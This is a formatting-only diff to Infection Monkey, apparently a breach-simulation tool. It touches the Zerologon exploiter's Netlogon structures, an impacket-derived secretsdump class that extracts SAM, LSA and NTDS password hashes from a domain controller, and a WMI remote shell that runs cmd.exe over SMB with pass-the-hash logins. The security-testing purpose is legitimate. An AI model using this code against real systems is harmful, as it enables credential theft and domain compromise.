def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
|
def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
|
||||||
if restoration_attempt_result:
|
if restoration_attempt_result:
|
||||||
LOG.debug("DC machine account password should be restored to its original value.")
|
LOG.debug(
|
||||||
|
"DC machine account password should be restored to its original value."
|
||||||
|
)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -487,17 +565,17 @@ class ZerologonExploiter(HostExploiter):
|
||||||
class NetrServerPasswordSet(nrpc.NDRCALL):
|
class NetrServerPasswordSet(nrpc.NDRCALL):
|
||||||
opnum = 6
|
opnum = 6
|
||||||
structure = (
|
structure = (
|
||||||
('PrimaryName', nrpc.PLOGONSRV_HANDLE),
|
("PrimaryName", nrpc.PLOGONSRV_HANDLE),
|
||||||
('AccountName', nrpc.WSTR),
|
("AccountName", nrpc.WSTR),
|
||||||
('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
|
("SecureChannelType", nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
|
||||||
('ComputerName', nrpc.WSTR),
|
("ComputerName", nrpc.WSTR),
|
||||||
('Authenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
("Authenticator", nrpc.NETLOGON_AUTHENTICATOR),
|
||||||
('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD),
|
("UasNewPassword", nrpc.ENCRYPTED_NT_OWF_PASSWORD),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
||||||
structure = (
|
structure = (
|
||||||
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
("ReturnAuthenticator", nrpc.NETLOGON_AUTHENTICATOR),
|
||||||
('ErrorCode', nrpc.NTSTATUS),
|
("ErrorCode", nrpc.NTSTATUS),
|
||||||
)
|
)
|
||||||
|
|
|
@ -47,9 +47,13 @@ import logging
|
||||||
import os
|
import os
|
||||||
import traceback
|
import traceback
|
||||||
|
|
||||||
from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
from impacket.examples.secretsdump import (
|
||||||
NTDSHashes, RemoteOperations,
|
LocalOperations,
|
||||||
SAMHashes)
|
LSASecrets,
|
||||||
|
NTDSHashes,
|
||||||
|
RemoteOperations,
|
||||||
|
SAMHashes,
|
||||||
|
)
|
||||||
from impacket.smbconnection import SMBConnection
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
from infection_monkey.utils.capture_output import StdoutCapture
|
from infection_monkey.utils.capture_output import StdoutCapture
|
||||||
|
@ -60,15 +64,15 @@ LOG = logging.getLogger(__name__)
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||||
# Used to get Administrator and original DC passwords' hashes
|
# Used to get Administrator and original DC passwords' hashes
|
||||||
class DumpSecrets:
|
class DumpSecrets:
|
||||||
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
def __init__(self, remote_name, username="", password="", domain="", options=None):
|
||||||
self.__use_VSS_method = options.use_vss
|
self.__use_VSS_method = options.use_vss
|
||||||
self.__remote_name = remote_name
|
self.__remote_name = remote_name
|
||||||
self.__remote_host = options.target_ip
|
self.__remote_host = options.target_ip
|
||||||
self.__username = username
|
self.__username = username
|
||||||
self.__password = password
|
self.__password = password
|
||||||
self.__domain = domain
|
self.__domain = domain
|
||||||
self.__lmhash = ''
|
self.__lmhash = ""
|
||||||
self.__nthash = ''
|
self.__nthash = ""
|
||||||
self.__smb_connection = None
|
self.__smb_connection = None
|
||||||
self.__remote_ops = None
|
self.__remote_ops = None
|
||||||
self.__SAM_hashes = None
|
self.__SAM_hashes = None
|
||||||
|
@ -89,20 +93,24 @@ class DumpSecrets:
|
||||||
self.__options = options
|
self.__options = options
|
||||||
|
|
||||||
if options.hashes is not None:
|
if options.hashes is not None:
|
||||||
self.__lmhash, self.__nthash = options.hashes.split(':')
|
self.__lmhash, self.__nthash = options.hashes.split(":")
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
self.__smb_connection = SMBConnection(
|
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
||||||
self.__remote_name, self.__remote_host)
|
|
||||||
self.__smb_connection.login(
|
self.__smb_connection.login(
|
||||||
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
self.__username,
|
||||||
|
self.__password,
|
||||||
|
self.__domain,
|
||||||
|
self.__lmhash,
|
||||||
|
self.__nthash,
|
||||||
|
)
|
||||||
|
|
||||||
def dump(self):
|
def dump(self):
|
||||||
with StdoutCapture() as output_captor:
|
with StdoutCapture() as output_captor:
|
||||||
dumped_secrets = ''
|
dumped_secrets = ""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
if self.__remote_name.upper() == "LOCAL" and self.__username == "":
|
||||||
self.__is_remote = False
|
self.__is_remote = False
|
||||||
self.__use_VSS_method = True
|
self.__use_VSS_method = True
|
||||||
if self.__system_hive:
|
if self.__system_hive:
|
||||||
|
@ -113,6 +121,7 @@ class DumpSecrets:
|
||||||
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||||
else:
|
else:
|
||||||
import binascii
|
import binascii
|
||||||
|
|
||||||
bootkey = binascii.unhexlify(self.__bootkey)
|
bootkey = binascii.unhexlify(self.__bootkey)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -122,36 +131,55 @@ class DumpSecrets:
|
||||||
try:
|
try:
|
||||||
self.connect()
|
self.connect()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
|
if (
|
||||||
|
os.getenv("KRB5CCNAME") is not None
|
||||||
|
and self.__do_kerberos is True
|
||||||
|
):
|
||||||
# SMBConnection failed. That might be because there was no way to log into the
|
# SMBConnection failed. That might be because there was no way to log into the
|
||||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||||
# will work
|
# will work
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
"SMBConnection didn't work, hoping Kerberos will help (%s)"
|
||||||
|
% str(e)
|
||||||
|
)
|
||||||
else:
|
else:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
self.__remote_ops = RemoteOperations(
|
self.__remote_ops = RemoteOperations(
|
||||||
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
self.__smb_connection, self.__do_kerberos, self.__kdc_host
|
||||||
|
)
|
||||||
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
||||||
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
if (
|
||||||
|
self.__just_DC is False
|
||||||
|
and self.__just_DC_NTLM is False
|
||||||
|
or self.__use_VSS_method is True
|
||||||
|
):
|
||||||
self.__remote_ops.enableRegistry()
|
self.__remote_ops.enableRegistry()
|
||||||
bootkey = self.__remote_ops.getBootKey()
|
bootkey = self.__remote_ops.getBootKey()
|
||||||
# Let's check whether target system stores LM Hashes.
|
# Let's check whether target system stores LM Hashes.
|
||||||
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.__can_process_SAM_LSA = False
|
self.__can_process_SAM_LSA = False
|
||||||
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
|
if (
|
||||||
and self.__do_kerberos is True:
|
str(e).find("STATUS_USER_SESSION_DELETED")
|
||||||
|
and os.getenv("KRB5CCNAME") is not None
|
||||||
|
and self.__do_kerberos is True
|
||||||
|
):
|
||||||
# Giving some hints here when SPN target name validation is set to something different to Off.
|
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||||
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
LOG.error(
|
||||||
'Try -just-dc-user')
|
"Policy SPN target name validation might be restricting full DRSUAPI dump."
|
||||||
|
+ "Try -just-dc-user"
|
||||||
|
)
|
||||||
else:
|
else:
|
||||||
LOG.error('RemoteOperations failed: %s' % str(e))
|
LOG.error("RemoteOperations failed: %s" % str(e))
|
||||||
|
|
||||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||||
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
if (
|
||||||
|
self.__just_DC is False
|
||||||
|
and self.__just_DC_NTLM is False
|
||||||
|
and self.__can_process_SAM_LSA
|
||||||
|
):
|
||||||
try:
|
try:
|
||||||
if self.__is_remote is True:
|
if self.__is_remote is True:
|
||||||
SAM_file_name = self.__remote_ops.saveSAM()
|
SAM_file_name = self.__remote_ops.saveSAM()
|
||||||
|
@ -159,10 +187,11 @@ class DumpSecrets:
|
||||||
SAM_file_name = self.__sam_hive
|
SAM_file_name = self.__sam_hive
|
||||||
|
|
||||||
self.__SAM_hashes = SAMHashes(
|
self.__SAM_hashes = SAMHashes(
|
||||||
SAM_file_name, bootkey, isRemote=self.__is_remote)
|
SAM_file_name, bootkey, isRemote=self.__is_remote
|
||||||
|
)
|
||||||
self.__SAM_hashes.dump()
|
self.__SAM_hashes.dump()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
LOG.error("SAM hashes extraction failed: %s" % str(e))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if self.__is_remote is True:
|
if self.__is_remote is True:
|
||||||
|
@ -170,13 +199,17 @@ class DumpSecrets:
|
||||||
else:
|
else:
|
||||||
SECURITY_file_name = self.__security_hive
|
SECURITY_file_name = self.__security_hive
|
||||||
|
|
||||||
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
|
self.__LSA_secrets = LSASecrets(
|
||||||
isRemote=self.__is_remote)
|
SECURITY_file_name,
|
||||||
|
bootkey,
|
||||||
|
self.__remote_ops,
|
||||||
|
isRemote=self.__is_remote,
|
||||||
|
)
|
||||||
self.__LSA_secrets.dumpCachedHashes()
|
self.__LSA_secrets.dumpCachedHashes()
|
||||||
self.__LSA_secrets.dumpSecrets()
|
self.__LSA_secrets.dumpSecrets()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.debug(traceback.print_exc())
|
LOG.debug(traceback.print_exc())
|
||||||
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
LOG.error("LSA hashes extraction failed: %s" % str(e))
|
||||||
|
|
||||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||||
if self.__is_remote is True:
|
if self.__is_remote is True:
|
||||||
|
@ -187,15 +220,20 @@ class DumpSecrets:
|
||||||
else:
|
else:
|
||||||
NTDS_file_name = self.__ntds_file
|
NTDS_file_name = self.__ntds_file
|
||||||
|
|
||||||
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote,
|
self.__NTDS_hashes = NTDSHashes(
|
||||||
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
NTDS_file_name,
|
||||||
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
bootkey,
|
||||||
)
|
isRemote=self.__is_remote,
|
||||||
|
noLMHash=self.__no_lmhash,
|
||||||
|
remoteOps=self.__remote_ops,
|
||||||
|
useVSSMethod=self.__use_VSS_method,
|
||||||
|
justNTLM=self.__just_DC_NTLM,
|
||||||
|
)
|
||||||
try:
|
try:
|
||||||
self.__NTDS_hashes.dump()
|
self.__NTDS_hashes.dump()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.debug(traceback.print_exc())
|
LOG.debug(traceback.print_exc())
|
||||||
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
|
||||||
# We don't store the resume file if this error happened, since this error is related to lack
|
# We don't store the resume file if this error happened, since this error is related to lack
|
||||||
# of enough privileges to access DRSUAPI.
|
# of enough privileges to access DRSUAPI.
|
||||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
|
@ -204,7 +242,8 @@ class DumpSecrets:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
if self.__use_VSS_method is False:
|
if self.__use_VSS_method is False:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
"Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter"
|
||||||
|
)
|
||||||
self.cleanup()
|
self.cleanup()
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
LOG.debug(traceback.print_exc())
|
LOG.debug(traceback.print_exc())
|
||||||
|
@ -219,11 +258,13 @@ class DumpSecrets:
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
finally:
|
finally:
|
||||||
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
|
dumped_secrets = (
|
||||||
|
output_captor.get_captured_stdout_output()
|
||||||
|
) # includes hashes and kerberos keys
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
LOG.debug('Cleaning up...')
|
LOG.debug("Cleaning up...")
|
||||||
if self.__remote_ops:
|
if self.__remote_ops:
|
||||||
self.__remote_ops.finish()
|
self.__remote_ops.finish()
|
||||||
if self.__SAM_hashes:
|
if self.__SAM_hashes:
|
||||||
|
|
|
@ -7,7 +7,7 @@ class OptionsForSecretsdump:
|
||||||
can_process_SAM_LSA = True
|
can_process_SAM_LSA = True
|
||||||
dc_ip = None
|
dc_ip = None
|
||||||
debug = False
|
debug = False
|
||||||
exec_method = 'smbexec'
|
exec_method = "smbexec"
|
||||||
hashes = None
|
hashes = None
|
||||||
is_remote = True
|
is_remote = True
|
||||||
just_dc = True
|
just_dc = True
|
||||||
|
@ -25,7 +25,16 @@ class OptionsForSecretsdump:
|
||||||
ts = False
|
ts = False
|
||||||
use_vss = False
|
use_vss = False
|
||||||
|
|
||||||
def __init__(self, dc_ip=None, just_dc=True, sam=None, security=None, system=None, target=None, target_ip=None):
|
def __init__(
|
||||||
|
self,
|
||||||
|
dc_ip=None,
|
||||||
|
just_dc=True,
|
||||||
|
sam=None,
|
||||||
|
security=None,
|
||||||
|
system=None,
|
||||||
|
target=None,
|
||||||
|
target_ip=None,
|
||||||
|
):
|
||||||
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
|
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
|
||||||
self.dc_ip = dc_ip
|
self.dc_ip = dc_ip
|
||||||
# just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
|
# just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
|
||||||
|
|
|
@ -61,32 +61,34 @@ class RemoteShell(cmd.Cmd):
|
||||||
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
||||||
cmd.Cmd.__init__(self)
|
cmd.Cmd.__init__(self)
|
||||||
self.__share = share
|
self.__share = share
|
||||||
self.__output = '\\' + outputFilename
|
self.__output = "\\" + outputFilename
|
||||||
self.__outputBuffer = str('')
|
self.__outputBuffer = str("")
|
||||||
self.__shell = 'cmd.exe /Q /c '
|
self.__shell = "cmd.exe /Q /c "
|
||||||
self.__win32Process = win32Process
|
self.__win32Process = win32Process
|
||||||
self.__transferClient = smbConnection
|
self.__transferClient = smbConnection
|
||||||
self.__pwd = str('C:\\')
|
self.__pwd = str("C:\\")
|
||||||
self.__noOutput = False
|
self.__noOutput = False
|
||||||
|
|
||||||
# We don't wanna deal with timeouts from now on.
|
# We don't wanna deal with timeouts from now on.
|
||||||
if self.__transferClient is not None:
|
if self.__transferClient is not None:
|
||||||
self.__transferClient.setTimeout(100000)
|
self.__transferClient.setTimeout(100000)
|
||||||
self.do_cd('\\')
|
self.do_cd("\\")
|
||||||
else:
|
else:
|
||||||
self.__noOutput = True
|
self.__noOutput = True
|
||||||
|
|
||||||
def do_get(self, src_path):
|
def do_get(self, src_path):
|
||||||
try:
|
try:
|
||||||
import ntpath
|
import ntpath
|
||||||
|
|
||||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||||
drive, tail = ntpath.splitdrive(newPath)
|
drive, tail = ntpath.splitdrive(newPath)
|
||||||
filename = ntpath.basename(tail)
|
filename = ntpath.basename(tail)
|
||||||
local_file_path = os.path.join(
|
local_file_path = os.path.join(
|
||||||
os.path.expanduser('~'), 'monkey-'+filename)
|
os.path.expanduser("~"), "monkey-" + filename
|
||||||
fh = open(local_file_path, 'wb')
|
)
|
||||||
|
fh = open(local_file_path, "wb")
|
||||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||||
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
|
||||||
fh.close()
|
fh.close()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error(str(e))
|
LOG.error(str(e))
|
||||||
|
@ -97,35 +99,35 @@ class RemoteShell(cmd.Cmd):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def do_cd(self, s):
|
def do_cd(self, s):
|
||||||
self.execute_remote('cd ' + s)
|
self.execute_remote("cd " + s)
|
||||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
if len(self.__outputBuffer.strip("\r\n")) > 0:
|
||||||
print(self.__outputBuffer)
|
print(self.__outputBuffer)
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ""
|
||||||
else:
|
else:
|
||||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||||
self.execute_remote('cd ')
|
self.execute_remote("cd ")
|
||||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
self.__pwd = self.__outputBuffer.strip("\r\n")
|
||||||
self.prompt = (self.__pwd + '>')
|
self.prompt = self.__pwd + ">"
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ""
|
||||||
|
|
||||||
def default(self, line):
|
def default(self, line):
|
||||||
# Let's try to guess if the user is trying to change drive.
|
# Let's try to guess if the user is trying to change drive.
|
||||||
if len(line) == 2 and line[1] == ':':
|
if len(line) == 2 and line[1] == ":":
|
||||||
# Execute the command and see if the drive is valid.
|
# Execute the command and see if the drive is valid.
|
||||||
self.execute_remote(line)
|
self.execute_remote(line)
|
||||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
if len(self.__outputBuffer.strip("\r\n")) > 0:
|
||||||
# Something went wrong.
|
# Something went wrong.
|
||||||
print(self.__outputBuffer)
|
print(self.__outputBuffer)
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ""
|
||||||
else:
|
else:
|
||||||
# Drive valid, now we should get the current path.
|
# Drive valid, now we should get the current path.
|
||||||
self.__pwd = line
|
self.__pwd = line
|
||||||
self.execute_remote('cd ')
|
self.execute_remote("cd ")
|
||||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
self.__pwd = self.__outputBuffer.strip("\r\n")
|
||||||
self.prompt = (self.__pwd + '>')
|
self.prompt = self.__pwd + ">"
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ""
|
||||||
else:
|
else:
|
||||||
if line != '':
|
if line != "":
|
||||||
self.send_data(line)
|
self.send_data(line)
|
||||||
|
|
||||||
def get_output(self):
|
def get_output(self):
|
||||||
|
@ -133,28 +135,30 @@ class RemoteShell(cmd.Cmd):
|
||||||
try:
|
try:
|
||||||
self.__outputBuffer += data.decode(self.CODEC)
|
self.__outputBuffer += data.decode(self.CODEC)
|
||||||
except UnicodeDecodeError:
|
except UnicodeDecodeError:
|
||||||
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
LOG.error(
|
||||||
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
|
"Decoding error detected, consider running chcp.com at the target,\nmap the result with "
|
||||||
'again with -codec and the corresponding codec')
|
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py "
|
||||||
self.__outputBuffer += data.decode(self.CODEC,
|
"again with -codec and the corresponding codec"
|
||||||
errors='replace')
|
)
|
||||||
|
self.__outputBuffer += data.decode(self.CODEC, errors="replace")
|
||||||
|
|
||||||
if self.__noOutput is True:
|
if self.__noOutput is True:
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ""
|
||||||
return
|
return
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
self.__transferClient.getFile(
|
self.__transferClient.getFile(
|
||||||
self.__share, self.__output, output_callback)
|
self.__share, self.__output, output_callback
|
||||||
|
)
|
||||||
break
|
break
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
|
if str(e).find("STATUS_SHARING_VIOLATION") >= 0:
|
||||||
# Output not finished, let's wait.
|
# Output not finished, let's wait.
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
elif str(e).find('Broken') >= 0:
|
elif str(e).find("Broken") >= 0:
|
||||||
# The SMB Connection might have timed out, let's try reconnecting.
|
# The SMB Connection might have timed out, let's try reconnecting.
|
||||||
LOG.debug('Connection broken, trying to recreate it')
|
LOG.debug("Connection broken, trying to recreate it")
|
||||||
self.__transferClient.reconnect()
|
self.__transferClient.reconnect()
|
||||||
return self.get_output()
|
return self.get_output()
|
||||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||||
|
@ -162,11 +166,13 @@ class RemoteShell(cmd.Cmd):
|
||||||
def execute_remote(self, data):
|
def execute_remote(self, data):
|
||||||
command = self.__shell + data
|
command = self.__shell + data
|
||||||
if self.__noOutput is False:
|
if self.__noOutput is False:
|
||||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
command += (
|
||||||
|
" 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1"
|
||||||
|
)
|
||||||
self.__win32Process.Create(command, self.__pwd, None)
|
self.__win32Process.Create(command, self.__pwd, None)
|
||||||
self.get_output()
|
self.get_output()
|
||||||
|
|
||||||
def send_data(self, data):
|
def send_data(self, data):
|
||||||
self.execute_remote(data)
|
self.execute_remote(data)
|
||||||
print(self.__outputBuffer)
|
print(self.__outputBuffer)
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ""
|
||||||
|
|
|
@ -59,39 +59,45 @@ LOG = logging.getLogger(__name__)
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
# Used to get HKLM keys for restoring original DC password
|
# Used to get HKLM keys for restoring original DC password
|
||||||
class Wmiexec:
|
class Wmiexec:
|
||||||
OUTPUT_FILENAME = '__' + str(time.time())
|
OUTPUT_FILENAME = "__" + str(time.time())
|
||||||
|
|
||||||
def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
|
def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"):
|
||||||
self.__ip = ip
|
self.__ip = ip
|
||||||
self.__username = username
|
self.__username = username
|
||||||
self.__password = password
|
self.__password = password
|
||||||
self.__domain = domain
|
self.__domain = domain
|
||||||
self.__lmhash, self.__nthash = hashes.split(':')
|
self.__lmhash, self.__nthash = hashes.split(":")
|
||||||
self.__share = share
|
self.__share = share
|
||||||
self.shell = None
|
self.shell = None
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||||
self.smbConnection.login(user=self.__username,
|
self.smbConnection.login(
|
||||||
password=self.__password,
|
user=self.__username,
|
||||||
domain=self.__domain,
|
password=self.__password,
|
||||||
lmhash=self.__lmhash,
|
domain=self.__domain,
|
||||||
nthash=self.__nthash)
|
lmhash=self.__lmhash,
|
||||||
|
nthash=self.__nthash,
|
||||||
|
)
|
||||||
|
|
||||||
self.dcom = DCOMConnection(target=self.__ip,
|
self.dcom = DCOMConnection(
|
||||||
username=self.__username,
|
target=self.__ip,
|
||||||
password=self.__password,
|
username=self.__username,
|
||||||
domain=self.__domain,
|
password=self.__password,
|
||||||
lmhash=self.__lmhash,
|
domain=self.__domain,
|
||||||
nthash=self.__nthash,
|
lmhash=self.__lmhash,
|
||||||
oxidResolver=True)
|
nthash=self.__nthash,
|
||||||
|
oxidResolver=True,
|
||||||
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
iInterface = self.dcom.CoCreateInstanceEx(
|
iInterface = self.dcom.CoCreateInstanceEx(
|
||||||
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
|
||||||
|
)
|
||||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||||
self.iWbemServices = iWbemLevel1Login.NTLMLogin(
|
self.iWbemServices = iWbemLevel1Login.NTLMLogin(
|
||||||
'//./root/cimv2', NULL, NULL)
|
"//./root/cimv2", NULL, NULL
|
||||||
|
)
|
||||||
iWbemLevel1Login.RemRelease()
|
iWbemLevel1Login.RemRelease()
|
||||||
|
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
|
@ -101,9 +107,10 @@ class Wmiexec:
|
||||||
|
|
||||||
def get_remote_shell(self):
|
def get_remote_shell(self):
|
||||||
self.connect()
|
self.connect()
|
||||||
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
|
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
|
||||||
self.shell = RemoteShell(
|
self.shell = RemoteShell(
|
||||||
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
|
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
|
||||||
|
)
|
||||||
return self.shell
|
return self.shell
|
||||||
|
|
||||||
def close(self):
|
def close(self):
|
||||||
|
|
Loading…
Reference in New Issue